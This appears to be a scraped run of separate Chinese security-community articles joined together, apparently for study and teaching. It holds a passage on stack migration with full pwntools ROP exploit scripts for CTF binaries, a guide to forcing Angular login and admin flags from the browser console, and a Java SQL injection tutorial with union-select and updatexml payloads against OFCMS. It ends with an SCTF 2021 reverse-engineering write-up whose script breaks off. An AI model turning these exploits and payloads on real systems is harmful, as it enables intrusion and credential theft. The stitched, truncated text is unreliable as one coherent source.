可以看到执行到ret时，esp还在原来的old栈上，而ebp已经指向了新的栈的栈顶。
第二次进入我们放入栈上的`leave; ret` 的gadget（ **这个是我们事先写上栈的**
）esp已经被成功劫持到新的栈上，执行完gadget后栈顶会 在new_esp-4(64位是-8)的位置上。此时栈完全可控了，通过预先或者之后在new
stack上布置的rop链可以轻松完成攻击。
### HITCON_training_lab6_64位
这个是在HITCON_training的一个练习，直接给的有源码，我给编译成了64位版本。
#### 源码
#include <stdio.h>
int count = 1337 ;
char *t= "Z\xc3" ;
int main(){
if( count!=1337 ){
_exit(1);
}
count++ ;
char buf[48];
setvbuf(stdout,0,2,0);
puts("Try your best : " );
read(0, buf,128);
return ;
}
`gcc -z relro -z now -fno-stack-protector -mpreferred-stack-boundary=2
migration.c -o migration` 编译命令
#### 简单分析
这个题纯粹就是为了练习的Stack Migration用的，可以不分析代码直接用gdb-peda直接来测试：
熟悉的栈溢出，但是下面多出来的一些字符串，也是程序不能接受的部分，也可以作为一个需要考虑栈迁移的标志。
注意一下rsp被覆盖的值。
计算padding为48.
计算一下，可以填入多少的可控字段。去除一下刚刚程序不能存入的部分和padding部分，还有80个字节可以用。其中一个来伪造new
esp，剩下也就还有9个gadget可以用，可以给我构造第一个rop链。
#### 图解分析
假设我们已经填入了溢出字符，buf1即为我们要去的新栈，这个选择bss段的后一半：
开始执行一下leave 中的`mov rsp,rbp`：
此时rsp 也指向了 rbp指向的位置，在执行leave中的`pop rbp`:
此时rbp已经到了我们伪造的新栈buf1，然后开始执行ret,进入执行pop_rdi的gadget:
此时已经将buf1的地址，推入rdi，作为gets的参数，执行gets函数后，我们就可以往buf1上填入我们的rop链，此时栈大小已经没有限制了，可以任意写。
在这个buf1的栈空间里，我们需要先把rbp指向的位置写入buf2（下一个构造的新栈），然后构造rop链把puts的内存地址给泄露出来，进而可以算出libc的基地址，接着再构造一个gets函数。接着是执行一下leave
的gadget：
执行完以后就可以发现我们，已经完全控制了栈。并且开了一个buf2的新栈，留着在buf1调用gets函数时来在buf2新栈中摆上调用system(/bin/sh)函数的rop链。然后继续执行：
这就泄露出了puts函数的内存地址。接着开始往buf2新栈上读rop链:
读入完成，接着再次执行leave的gadget：
可以看到esp到了新栈，rbp因为刚刚在buf2填入的buf1，又会到了buf1，这个地址可以随便填了，对做题不影响，填写这个只是可以看到再次栈转移。接着执行buf2新栈的rop链：
就可以拿到shell了。
### EXP
借着这个思路就可以开始写exp:
from pwn import *
import time
context.arch = 'amd64'
context.log_level = 'debug'
e = ELF('./test')
l = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
# io = remote('127.0.0.1',4000)
io = process('./test')
pop_rdi_ret = 0x400703
pop_rsi_r15_ret= 0x0400701
pop_rdx_ret= 0x0400724
leave_ret= 0x0400699
buf1 = 0x00602000 - 0x200
buf2 = buf1 + 0x100
padding = 56 - 8
puts_plt = e.symbols['puts']
puts_got = e.got['puts']
read_add = e.symbols['read']
io.recvuntil(':')
p = 'a'*padding + flat([buf1,pop_rdi_ret,0,pop_rsi_r15_ret,buf1,0,pop_rdx_ret,0x100,read_add,leave_ret])
#raw_input('->')
io.send(p)
sleep(0.1)
p = flat([buf2,pop_rdi_ret,puts_got,puts_plt,pop_rdi_ret,0,pop_rsi_r15_ret,buf2,0,pop_rdx_ret,0x100,read_add,leave_ret])
sleep(0.1)
#raw_input('->')
io.sendline(p)
io.recvuntil('\n')
puts = u64((io.recv(6)).ljust(8,'\x00'))
libc = puts - l.symbols['puts']
print('libc_base:' + hex(libc))
binsh_add = l.search('/bin/sh\x00').next() + libc
#print(binsh_add)
# raw_input('->')
system_add = l.symbols['system'] + libc
p = flat([buf1,pop_rdi_ret,binsh_add,system_add])
sleep(0.1)
io.sendline(p)
io.interactive()
### Hgame2020_week2_rop_level2
#### 查保护和arch
32位程序，开了nx保护
#### ida分析
这个明显的栈溢出，但是0x60-0x50-0x8 =
8。发现只有一个gadget位置，无法构造我们想要的rop链。但是前面的第一个read函数，可以读入很大空间，并且第二个参数buf的地址是固定的。
那这个题明显就是可以Stack Migration来解决问题了，并且只需再写一个leave ret就控制栈了。
##### 攻击思路
程序中有着open，read，puts函数，我们可以写一个rop链，调用open函数，控制其参数是`./flag`，并在gdb中调试将其返回的文件fd号记录下来，然后传递给read函数，让其读入文件内容存入某个缓冲区，再用puts函数输出一下flag文件的内容即可。在第一个read的时候，我们就需要写好rop链。然后在最后一个read函数时，控制好ebp指向我们的新栈。
#### EXP
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
# io = process('./ROP')
io = remote('47.103.214.163',20300)
e = ELF('./ROP')
buf = 0x06010A0
# libc = e.libc
padding = 80
leave_ret = 0x040090d
pop_rdi_ret = 0x00400a43
pop_rsi_r15 = 0x00400a41
open_plt = 0x4007b0
read_plt = 0x400780
puts_plt = 0x400760
io.recvuntil('think so?\n')
p = flat(['./flag\x00\x00',pop_rdi_ret,buf,pop_rsi_r15,0,0,open_plt,pop_rdi_ret,4,pop_rsi_r15,buf+0x80,0,read_plt,pop_rdi_ret,buf+0x80,puts_plt])
io.sendline(p)
io.recvuntil('\n')
p = padding * 'a' + p64(buf) + p64(leave_ret)
raw_input('->') #手动下一个断点，以后让gdb附加上进行调试
io.send(p)
flag = io.recvline_contains('hgame')
print(flag)
io.interactive()
我们跟着exp来调试一下，看看效果：
此时的esp是我们伪造的new esp，已经指向了我们的目标位置，并且第一个rop链接已经送过去，可以看到`./flag`的字眼。执行一下leave：
可以看到rbp的值已经等于我们伪造的值，esp还在原来栈上。接着执行ret，进入下一个leave ret：
先记录下当前的状态，开始执行leave：
执行完发现esp已经到达了新栈buf+8的位置，此时的栈帧已经是我们完全想要的，已经劫持了程序流程，并且新栈空间很大，可以满足我们的需求。ebp是多少已经不重要了，我们直接填入`./flag`，这个固定地址也做为给open函数做参数。
在调试的时候，执行完open函数需要把返回的fd值记录下，给read函数做参数。最后由puts函数在输出flag：
### Stack Migration小总结
这下可以总结下利用思路也就是
* 把控好起初栈的ebp，在里面写入需要伪造的new esp
* 在之后的可利用字节中写入leave gadget
* 将想执行的ROP Chain写在已知固定位置上
* 再利用leave搬移Stack位置到已知位置
* 然后无限接ROP Chain | 社区文章 |
# Pentesters的Angular和AngularJS - 第2部分
|
##### 译文声明
本文是翻译文章，文章原作者 Alex Useche，文章来源：nvisium
原文地址：<https://nvisium.com/blog/2019/01/10/angular-for-pentesters-part-2.htm>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
在我们[Part1文章](https://www.anquanke.com/post/id/173974)中，我们从应用程序安全性的角度讨论了Angular和AngularJS应用程序的一般结构。这一次，我们将探索不同的方法来动态调试Angular应用程序，不管代码是否被最小化。但是为什么这对应用安全研究人员来说很重要呢？通过从浏览器控制台调试Angular应用程序，我们可以根据自己的喜好操纵函数和范围变量。这可以让我们触发能够帮助我们发现前端和后端错误的行为，例如缺少功能级访问控制和不安全的直接对象引用。此外，本文中展示的技术可以通过利用浏览器开发工具提供的功能，更容易地检查整合和简化的Angular代码。
让我们从学习动态调试Angular 1.x应用程序开始。
## Angular 1.x
假设你正在评估Angular
1.X应用程序，并且你对改变服务功能的行为感兴趣。我们可以通过浏览器中的开发人员工具控制台，按照几个简单的步骤来实现这一点。你想做的第一件事当然是打开开发者工具控制台。你可以通过右键单击任何页面元素并单击“Inspect”（如果你使用的是Chrome）或“Inspect
Element”（如果你使用的是Firefox）来执行此操作。接下来，单击“控制台”选项卡。
现在我们已经打开了控制台选项卡，让我们获取感兴趣的服务。在这种情况下，我们对`AuthService`感兴趣。我们可以打开浏览器控制台并执行以下操作：
var injector = angular.element(document.body).injector();
var authService = injector.get('AuthService');
该变量`authService`包含`AuthService`现在所使用的所有导出函数。你可以通过从开发人员控制台的“源”选项卡中搜索代码来获得你感兴趣的服务的名称。很多Angular
1.X应用程序在部署到生产环境之前不会简化代码，所以读取它们的代码应该是一个简单的过程。
请注意，浏览器会在你键入`authService.`时为你提供自动完成建议。这很有用，因为它告诉我们哪些函数和变量可供我们使用和修改。
现在让我们将函数`isLoggedIn`改为`true`。
authService.isLoggedIn = function(){ return true; }
现在怎么办？什么都没发生！是这样的，Angular还没有意识到这个变化，所以你需要强制它运行一个digest：
angular.element(document.body).scope().$apply();
完成上述操作后，你可能会注意到屏幕上出现了其他用户界面元素，你可以开始摆弄这些元素，因为应用程序中的其他功能会假设你在运行`AuthService.isLoggedIn
( )`时已登录。
如果我们想改变范围变量呢？你可以通过获取对包含要操作的范围变量的控制器的引用来实现这一点。第一步是获取对该控制器管理的页面上元素的引用。最简单的方法是使用开发人员工具控制台的“elements”选项卡选择该元素，并在控制台中键入`$
0`，这将返回该DOM对象。我们将使用这种技术来获取控制器参考。例如，请注意下图中我们选择由`BaseController`控制的
`<body>`元素。键入`$ 0`后，我们看到控制台中打印了DOM元素。
现在假设你通过检查页面标记找到了一个由名为`AdminController`的控制器管理的元素。要获取对该控制器的引用，你需要执行以下操作：
var adminController = angular.element($0);
完美，现在我们可以访问该控制器中的所有范围变量。让我们将`isAdmin`范围变量值更改为true：
adminController.scope().isAdmin = true;
最后，让我们通过调用`digest()`让Angular得知更改：
angular.element(document.body).scope().$digest();
同样，你也可以更新控制器功能。例如，在下面的代码片段中，我们从根控制器更改了`expireSession`方法，以便它不执行任何操作。
angular.element($0).scope().$root.expireSession = function(){return;};
## Angular 2+
好吧，但是Angular2 +怎么样？有什么奇特的动态调试技巧吗？Angular2
+应用程序不像Angular1.x那样容易使用浏览器控制台操作。大多数Angular
2应用程序都是在生产模式下加载到浏览器中的（当然，除非开发团队意外地在开发模式下部署了该应用程序），这限制了我们可以做的事情和功能调试。
将Angular
2+应用程序部署到生产环境时，在设置应用程序模块之前调用该`enableProdMode()`函数。这使得Angular跳过构建调试元素树，这将允许我们从浏览器中动态调试应用程序。如果是这种情况，最好的办法是使用像Burp这样的工具截取包含调用`enableProdMode()`的JavaScript代码的脚本文件，并在脚本文件到达浏览器之前将其删除。
然而，有一个问题。如果应用程序代码被简化或与（webpack）[<https://webpack.js.org/>]
整合在一起，你不能只在Burp中搜索`enableProdMode`，因为webpack试图通过用随机的短名称重命名函数来减小整合的JavaScript文件的大小。这意味着该函数可以被称为类似于`Qa()`或`V()`的东西，并且在应用程序调用它之前，它可以被重命名几次。对此有一个解决方案，那就是找到并更改Angular库代码实现的函数。该`enableProdMode()`函数在webpack的脚本文件中看起来像这样：
function Oa(){if(ib)throw Error("Cannot enable prod mode after platform setup.");ge=!1}
接下来，搜索字符串`Cannot enable prod mode after platform
setup`或其中的一部分并将功能（在浏览器接收之前）更改为以下内容：
function Oa(){console.log("prodmode function hijacked")}
如果成功完成，您将在浏览器控制台中看到如下内容：
此过程也可以使用像[Gorp](https://github.com/DharmaOfCode/gorp)这样的自动化工具，它查找并修改启用生产模式的函数，并重写该函数，以便应用程序在浏览器中加载时可以在开发模式下运行。
太好了，我们正在开发模式下运行应用程序，现在怎么办？我们需要做的第一件事是检查你想要使用的Angular组件的当前状态。
使用开发人员工具在页面中选择一个元素，然后在控制台中键入以下内容：
var state = ng.probe($0);
请注意，如果应用程序仍在生产模式下运行，您将得到`null`。
现在我们可以获得我们在上一步中选择的组件的实例。
var component = state.componentInstance;
由于我们有一个Angular组件的引用，我们现在可以操作组件变量和函数，如下所示：
component.showAllDiscountCodes = true;
最后，我们在组件上调用变更检测器以应用我们的更改：
ng.probe($0).injector.get(ng.coreTokens.ApplicationRef).tick();
但服务呢？在Angular
2+中，服务被注入组件中。然后，这些组件可以使用服务引用来调用服务提供的任何功能。注入的服务类似于C＃等语言中的静态帮助程序类。我们所需要做的就是找到并获取对服务变量的引用，然后像上面一样进行修改。
请注意上图中浏览器是如何给我们一个建议变量列表的。这在测试Angular
2+应用程序时非常有用，因为代码通常被简化并且不容易读取。这项技术帮助我们理解代码，而不必通过阅读简化的代码来伤害我们的眼睛。
## 总结
现在，我是否告诉您为使用Angular的每个应用程序执行此操作？当然不！尽管如此，这篇博客文章应该会给你必要的工具来进行角度代码的深入分析。此外，详细的Angular代码分析不应取代我们在每次评估中使用的良好的渗透测试方法。 | 社区文章 |
## 0x00 写在前面
为什么会有这一些列的文章呢？因为我发现网上没有成系列的文章或者教程，基本上是 Java
代码审计中某个点来阐述的，对于新人来说可能不是那么友好，加上本人也在学习 Java 审计，想做个学习历程的记录和总结，因此有了本系列的文章。
本系列的文章面向人群主要是 **拥有 Java 基本语法基础的朋友** ，系列文章的内容主要包括，审计环境介绍、SQL 漏洞原理与实际案例介绍、XSS
漏洞原理与实际案例介绍、SSRF 漏洞原理与实际案例介绍、RCE
漏洞原理与实际案例介绍、包含漏洞原理与实际案例介绍、序列化漏洞原理与实际案例介绍、S2系列经典漏洞分析、WebLogic
系列经典漏洞分析、fastjson系列经典漏洞分析、jackson系列经典漏洞分析等，可能内容顺序会略有调整，但是总体内容不会改变，最后希望这系列的文章能够给你带来一点收获。
目前已完成内容如下：
【Java 代码审计入门-01】审计前的准备 <https://www.cnpanda.net/codeaudit/588.html>
## 0x01 前戏
首先创建一个数据库`sec_sql`
create database sec_sql charset utf8;
然后创建表`admin`、`userinfo`和插入数据：
DROP TABLE IF EXISTS `admin`;
CREATE TABLE `admin` (
`uid` int(11) NOT NULL AUTO_INCREMENT COMMENT 'uid',
`username` varchar(100) NOT NULL COMMENT '账号',
`password` varchar(100) NOT NULL COMMENT '密码',
PRIMARY KEY (`uid`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8;
BEGIN;
INSERT INTO `admin` VALUES (1, 'admin', '7a57a5a743894a0e');
COMMIT;
DROP TABLE IF EXISTS `userinfo`;
CREATE TABLE `userinfo` (
`id` int(11) NOT NULL AUTO_INCREMENT COMMENT 'id',
`name` varchar(100) NOT NULL COMMENT '名称',
`age` int(11) NOT NULL COMMENT '年龄',
`content` varchar(100) NOT NULL COMMENT '联系方式',
`address` varchar(255) NOT NULL COMMENT '家庭地址',
PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=7 DEFAULT CHARSET=utf8;
BEGIN;
INSERT INTO `userinfo` VALUES (1, 'panda', 22, '[email protected]', '中国');
INSERT INTO `userinfo` VALUES (2, 'John', 29, '[email protected]', '英国');
INSERT INTO `userinfo` VALUES (3, 'Tom', 45, '[email protected]', '美国');
INSERT INTO `userinfo` VALUES (4, 'Mr.Li', 33, '[email protected]', '韩国');
INSERT INTO `userinfo` VALUES (5, 'Miss', 32, '[email protected]', '法国');
INSERT INTO `userinfo` VALUES (6, 'Ling', 17, '[email protected]', '中国');
COMMIT;
SET FOREIGN_KEY_CHECKS = 1;
下载 sql 测试源码
<https://github.com/cn-panda/JavaCodeAudit>
导入项目，可以得到以下目录
修改连接数据库的账号密码：
项目是一个简单的查询用户信息的实现，在 servlet
层接受到请求后，调`UserInfoServiceImpl`，`UserInfoServiceImpl`在调用`UserInfoDaoImpl`，`UserInfoDaoImpl`去操作数据库，然后封装
`UserInfo` 对象，再把`UserInfo` 对象返回给`UserInfoService`，最后 service 层再返回给 servlet
层，最终把查询的内容显示到`info.jsp`页面。
## 0x02 漏洞原理
所谓 SQL 注入，就是通过将 SQL 命令插入应用程序的 http 请求中，并在服务器端被接收后用于参与数据库操作，最终达到欺骗服务器执行恶意的 SQL
命令的效果，Java 的 SQL 注入和 PHP 中的 SQL
注入，其实差别不大，理论上来讲，应用程序中只要是与数据库存在数据交互，无论是增删改查，只要传入的数据完全受用户控制，且应用程序对用户传入的数据没有进行妥当的处理，那么这些地方都是可能存在
SQL 注入的。
拿上述的代码举例，在`UserInfoDaoImpl.java`中，存在如下代码：
public UserInfo UserInfoFoundDao(String id){
Connection conn = null;
PreparedStatement ps = null;
ResultSet rs = null;
UserInfo userinfo = null;
try{
Class.forName("com.mysql.cj.jdbc.Driver");
conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/sec_sql","root","admin888");
String sql = "select * from userinfo where id = " + id;
ps = conn.prepareStatement(sql);
//ps.setInt(1,id);
rs = ps.executeQuery();
while(rs.next()){
userinfo = new UserInfo();
userinfo.setId(rs.getString("id"));
userinfo.setName(rs.getString("name"));
userinfo.setAge(rs.getInt("age"));
userinfo.setContent(rs.getString("content"));
userinfo.setAddress(rs.getString("address"));
}
...
return userinfo;
}
可以看到在 sql 语句中，存在着拼接的String类型变量`id`，且没有进行任何的过滤处理，直接带入执行。这也就导致了 SQL
注入，如下图，带入参数`and 1=1`：
监视 MySQL 的执行记录，如下图所示：
完整的把我们带入的参数给传了进去。
执行下述 payload 即可获取管理员的账号密码：
id=2 union select 1,2,3,group_concat(username),group_concat(password) from admin--
MySQL 执行记录如下：
## 0x03 修复方案
上述代码之所以造成 SQL 漏洞的原因，是程序将用户输入数据拼接到了 SQL 语句中，了解到这，所以修复方案也很清楚了。
### 1、使用预编译
在Java的JDBC中，有个预处理功能，这个功能一大优势就是能提高执行速度，尤其是多次操作数据库的情况，再一个优势就是预防SQL注入，严格的说，应该是预防绝大多数的SQL注入。下方代码就是利用
java 的预编译来防止 SQL 注入：
public UserInfo UserInfoFoundDao(String id){
Connection conn = null;
PreparedStatement ps = null;
ResultSet rs = null;
UserInfo userinfo = null;
try{
Class.forName("com.mysql.cj.jdbc.Driver");
conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/sec_sql","root","admin888");
String sql = "select * from userinfo where id = ？";
ps = conn.prepareStatement(sql);
ps.setInt(1,id);
rs = ps.executeQuery();
while(rs.next()){
userinfo = new UserInfo();
userinfo.setId(rs.getString("id"));
userinfo.setName(rs.getString("name"));
userinfo.setAge(rs.getInt("age"));
userinfo.setContent(rs.getString("content"));
userinfo.setAddress(rs.getString("address"));
}
...
return userinfo;
}
需要注意的是，预编译不是绝对安全的，是要看所使用的具体的 SQL 语句的，例如下述代码：
public UserInfo UserInfoFoundDao(String id, String age){
Connection conn = null;
PreparedStatement ps = null;
ResultSet rs = null;
UserInfo userinfo = null;
try{
Class.forName("com.mysql.cj.jdbc.Driver");
conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/sec_sql","root","admin888");
String sql = "select * from userinfo where id = ？"+"order by ''" + age + "' asc'" ;
ps = conn.prepareStatement(sql);
ps.setInt(1,id);
rs = ps.executeQuery();
while(rs.next()){
userinfo = new UserInfo();
userinfo.setId(rs.getString("id"));
userinfo.setName(rs.getString("name"));
userinfo.setAge(rs.getInt("age"));
userinfo.setContent(rs.getString("content"));
userinfo.setAddress(rs.getString("address"));
}
...
return userinfo;
}
类似于上面代码中的 SQL 语句，order by 后面的语句，是不能够用预编译进行处理的，只能通过拼接进行操作，因此需要手动过滤。
### 2、修改数据类型
上述代码中，变量 id的数据类型是 string 型，而其实对于这个用户信息查询的功能来说，只需要一个整数型的数字即可，因此可以修改变量 id
的数据类型，来达到修复的目的：
public UserInfo UserInfoFoundDao(int id){
Connection conn = null;
PreparedStatement ps = null;
ResultSet rs = null;
UserInfo userinfo = null;
try{
Class.forName("com.mysql.cj.jdbc.Driver");
conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/sec_sql","root","admin888");
String sql = "select * from userinfo where id = " + id;
ps = conn.prepareStatement(sql);
rs = ps.executeQuery();
while(rs.next()){
userinfo = new UserInfo();
userinfo.setId(rs.getString("id"));
userinfo.setName(rs.getString("name"));
userinfo.setAge(rs.getInt("age"));
userinfo.setContent(rs.getString("content"));
userinfo.setAddress(rs.getString("address"));
}
...
return userinfo;
}
当然，这种方法只限定于特定情况下，如果有的参数其数据类型必须为 String 那么这种方法是行不通的。
以上，只是基于 java servlet上来解释 SQL 注入，但实际上在真实环境中，中间件框架使用占了绝大部分，但实际上原理基本类似，只是表面形式不同，如
Mybatis 框架中的 like、 in和 order by 语句、Hibernate 框架中的
createQuery()函数等，如果使用不当，依旧可能造成 sql 注入。
## 0x04 实际案例(CVE-2019-9615)分析
### 1、案例介绍
CVE 地址：<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9615>
OFCMS是基于Java技术的内容管理系统，在v1.1.3之前的OFCMS中发现了一个问题，在`admin / system / generate /
create?sql =`路径可以进行SQL注入，与`SystemGenerateController.java`文件相关。
### 2、案例搭建
首先可以去官网下载 v1.1.2版本的 OFCMS：
<https://gitee.com/oufu/ofcms/releases>
然后打开 idea，点击`import Project`，选择`Import project from external model`中的 Maven
然后一路默认
然后在`ofcms-admin/src/main/resources/dev/conf/`文件夹下打开`db.properties`，修改数据的账号密码
然后修改根目录下的 `pom.xml`，搜索 `mysql`，然后修改成自己机器上的装的版本，最后点击`import changes`
然后下载需要的 jar 包资源：
配置Tomcat 服务，点击 run-->edit configurations
然后选择 Tomcat 的安装目录：
端口按照本地情况修改：
然后配置 Deployment
选择 ofcms-admin:war
修改名字为`/ofcms-admin`
最后打开 MySQL，创建一个名为 ofcms 的数据库，导入`fcms/doc/sql`下的 sql 文件即可。
然后启动项目
即可访问该项目：
站点地址：<http://localhost:8080/ofcms-admin/>
后台地址： <http://localhost:8080/ofcms-admin/admin/login.html>
用户名：admin
密码：123456
### 3、案例漏洞分析
漏洞存在的文件的位置为：
`ofcms-admin/src/main/java/com/ofsoft/cms/admin/controller/system/SystemGenerateController.java`
public void create() {
try {
String sql = getPara("sql");
Db.update(sql);
rendSuccessJson();
} catch (Exception e) {
e.printStackTrace();
rendFailedJson(ErrorCode.get("9999"), e.getMessage());
}
}
使用 getPara 获取`sql`参数，然后update方法直接执行sql 语句，返回 json 格式的数据
很明显，这里对于传入的参数没有任何的处理就直接带入执行语句中，造成了 SQL 注入。
在后台中找到该段代码对应的功能：
抓包传入一句测试的语句：
update of_cms_link set link_name='panda' where link_id = 4
查看 SQL 执行记录：
完完全全的可以控制 update 型的 SQL 注入语句，因此可以利用以下语句进行注入：
update of_cms_link set link_name=updatexml(1,concat(0x7e,(user())),0) where link_id = 4
### 4、修复方案
官网虽然更新版本到了 v1.1.4 ，但是没有对这些漏洞进行修复（可能是因为后台注入，比较鸡肋），这里我仅给出我个人的修复意见。
1、由于本注入是在后台产生的，因此危害性相比前台来说，很小，可以考虑限制后台使用人员对此功能使用的权限，加强管理员密码的管理。这种方法指标不治本，估计这也是官方的想法。
2、由于该注入是由后台中创建表而产生的，因此无法单纯的过滤一些关键字，否则可能导致业务出现问题，可以考虑改写业务功能，如：写死参数、取消直接对数据库进行操作的一些功能等。这种方法要求业务层上做出改变，在实际中不太现实。
3、过滤一些与 update
型注入相关的关键字，如`updatexml`、`extractvalue`、`name_const`、`floor`等。这种方法是黑名单的方式，还是存在缺陷的（万一有新姿势呢？）
4、设置 sql 语句操作白名单，即所用的关键词只能包含限定关键字，如 `update`、`set`等。这种方式可能更安全点，但是也有可能会限制业务功能。
## 0x05 总结
本文主要讨论了 Java 中的 SQL 注入漏洞，包括其原理、简单的 java代码示例以及 CVE 实例。希望对初入 java 代码审计的朋友有所帮助。
本文的所有代码可以在 GitHub 上下载：
<https://github.com/cn-panda/JavaCodeAudit>
## 0x06 参考
<https://gitee.com/oufu/ofcms>
<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9615>
<https://blog.csdn.net/oufua/article/details/82584637>
<https://github.com/cw1997/MySQL-Monitor> | 社区文章 |
# SCTF 2021 RE Writeup
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
年底了，2021年最后一场比赛，我就表演个AK RE给大伙助助兴吧。
比赛官网：<https://sctf2021.xctf.org.cn>
比赛时间：2021-12-25 09:00:00 到 2021-12-27 09:00:00
## Reverse
### SycGame
main中逻辑很简单，就是循环5次游戏，成功后拿到flag，关键在于sub_24E4的游戏逻辑。
int __fastcall sub_24E4()
{
int v0; // eax
int v1; // ebx
int v2; // er12
char v4; // [rsp+Bh] [rbp-15h]
int i; // [rsp+Ch] [rbp-14h]
srand(0);
v0 = time(0LL);
srand(v0 + srand_seed);
srand_seed += rand();
reset_globals();
init_primes();
size = 20;
problem_size = 4;
set_map();
print_gift();
null();
printf("Tell me sol:");
for ( i = 1; ; ++i )
{
if ( i > 10000 )
fail();
v4 = getchar();
if ( v4 != '\n' )
break;
LABEL_26:
;
}
if ( v4 != 'w' && v4 != 's' && v4 != 'a' && v4 != 'd' && v4 != '0' )//
// directions['w'] = 0;
// directions['s'] = 1;
// directions['a'] = 2;
// directions['d'] = 3;
fail_0();
if ( v4 == '0' )
fail_1();
if ( map[y_offset[directions[v4]]][3005 * y + x_offset[directions[v4]] + x] == -1 )// map[y + y_offset][x + x_offset]
{
if ( map[y_offset[directions[v4]]][3005 * y_offset[directions[v4]]
+ 3005 * y
+ x_offset[directions[v4]]
+ x
+ x_offset[directions[v4]]] == -3 )// map[y + y_offset * 2][x + x_offset * 2]
{
++problem_solved;
map[y_offset[directions[v4]]][3005 * y_offset[directions[v4]]// map[y + y_offset * 2][x + x_offset * 2]
+ 3005 * y
+ x_offset[directions[v4]]
+ x
+ x_offset[directions[v4]]] = -1;
map[y_offset[directions[v4]]][3005 * y + x_offset[directions[v4]] + x] = -2;// map[y + y_offset][x + x_offset]
map[y][x] = map_backup[y][x];
y += y_offset[directions[v4]];
x += x_offset[directions[v4]];
}
else
{
if ( !is_composite[map[y_offset[directions[v4]]][3005 * y_offset[directions[v4]]
+ 3005 * y
+ x_offset[directions[v4]]
+ x
+ x_offset[directions[v4]]]] )
{
putchar('!');
fail_2();
}
if ( map_backup[y_offset[directions[v4]]][3005 * y + x_offset[directions[v4]] + x] == -3 )// map[y + y_offset][x + x_offset]
--problem_solved;
map[y_offset[directions[v4]]][3005 * y_offset[directions[v4]]
+ 3005 * y
+ x_offset[directions[v4]]
+ x
+ x_offset[directions[v4]]] = -1;// map[y + y_offset * 2][x + x_offset * 2]
map[y_offset[directions[v4]]][3005 * y + x_offset[directions[v4]] + x] = -2;// map[y + y_offset][x + x_offset]
map[y][x] = map_backup[y][x];
y += y_offset[directions[v4]];
x += x_offset[directions[v4]];
}
}
else
{
if ( !is_composite[map[y_offset[directions[v4]]][3005 * y + x_offset[directions[v4]] + x]] )// map[y + y_offset][x + x_offset]
fail_2();
map[y_offset[directions[v4]]][3005 * y + x_offset[directions[v4]] + x] = -2;// map[y + y_offset][x + x_offset]
v1 = y;
v2 = x;
map[v1][v2] = random_composite();
y += y_offset[directions[v4]];
x += x_offset[directions[v4]];
}
if ( problem_solved != problem_total )
{
null();
goto LABEL_26;
}
return 1;
}
init_primes 函数计算 3000 以内的质数，保存在数组中； set_map 函数随机生成一个 20 x 20 地图，存放在数组
`int[3005][3005]` map 与 map_backup
中,-1为箱子(Box)，-2为主角位置(Player)，-3为箱子的目标位置(Target)，质数为墙，合数为空地； print_gift
将地图的各个值输出，然后输入 wasd 移动，后面就是判断逻辑。
但是出题人写的逻辑与以前玩的推箱子逻辑有些差别（应该叫游戏 ~~bug~~ 特色），第一点比较容易看出来，就是 Player 不能移动到 Target
位置，否则这个 Target 就没了，不可能过关；另一点比较难发现，是在修改脚本已经解决了第一点后经常出现的，明明路径完全正确，却总在中途 `!fail`
了，调试了很久才发现，是 Player 踩在一个初始位置为 Box 的位置 (map_backup[pos] 为-1)
时，如果下一步推动箱子，脚下（原位置）就会凭空出现一个箱子，导致之后移动失败。
明白了这两点还不够，因为地图是随机生成的，有概率某个 Box 的生成位置卡在墙边导致无解，如下所示：
`$`代表 Box ，右边的`$`被卡住出不来，直接无解。
当然，有解的情况也不一定能解出来，这跟自动化推箱子脚本有关系，脚本写得差，跑脚本可能会很久，等跑出来早就 timeout 了。
写脚本这种事肯定是不会自己干的，直接 github 搜就完事了，找一个看起来实现比较简单的：
<https://github.com/adhikary97/Sokoban-AI-Solver>
还要阅读源码，将上面的两点限制加进去，也就是 Player 不能移动到 Target ，和Player 踩在一个初始为 Box 的位置时不能推动箱子。
脚本如下：
#!/usr/bin/python2
# coding=utf-8
from pwn import *
import traceback
import os
# context.log_level = 'debug'
local = True
'''
def fail():
print('fail.')
exit(-1)
map = [0] * 400
size = 20
# set map
count = 0
pos = 10 * size + 10
while count < 4:
move = 0
# w a s d to move
# move value in [1, -1, size, -size]
if map[pos + move] == -1:
if map[pos + move * 2] == -3:
count += 1
map[pos + move * 2] = -1
map[pos] = map_backup[pos]
else: # map[pos + move * 2] != -3 ->
if map[pos + move * 2] is not composite:
fail()
if map_backup[pos + move] == -3:
count-- map[pos + move * 2] = -1
map[pos] = map_backup[pos]
else: # map[pos + move] != -1 ->
if map[pos + move] is not composite:
fail()
map[pos] = random_composite()
map[pos + move] = -2
pos = pos + move
'''
'''
推箱子，地图规模 20 x 20 ，箱子数 4 ，每次随机生成
合数为路，质数为墙， -1 为箱子， -3 为箱子目标位置
'''
def run():
if local:
p = process('./sycgame')
# p = gdb.debug('./sycgame', 'b puts')
else:
p = remote('124.70.152.166', 1448)
is_prime = [1] * 3005
is_prime[1] = 0
i = 2
while i < 3000:
if is_prime[i]:
j = 2
while j * i < 3005:
is_prime[j * i] = 0
j = j + 1
i = i + 1
# print(is_prime)
size = 20
def save_map_to_path(s, path):
t = '#' * size + '\n'
for y in range(1, size - 1):
t += '#'
for x in range(1, size - 1):
i = y * size + x
if s[i] == -2:
t += '@' # player
elif s[i] == -1:
t += '$' # Box
elif s[i] == -3:
t += '.' # Destination
else:
assert s[i] > 0
if is_prime[s[i]]:
t += '#' # wall
else:
t += ' ' # path
t += '#\n'
t += '#' * size + '\n'
print(t)
with open(path, 'w') as f:
f.write('Level 1\n' + t)
for i in range(5):
print(i)
p.sendlineafter('Ready?(Y/n):', 'Y')
p.recvuntil('gift:\n')
s = [int(j) for j in p.recvline().strip('\n ').split(' ')]
# 试试 https://github.com/adhikary97/Sokoban-AI-Solver
# 修改了一些约束条件
'''
7 ->
box_origin = []
244 +
box_origin.append(coordinates())
# print(box_origin)
288 ->
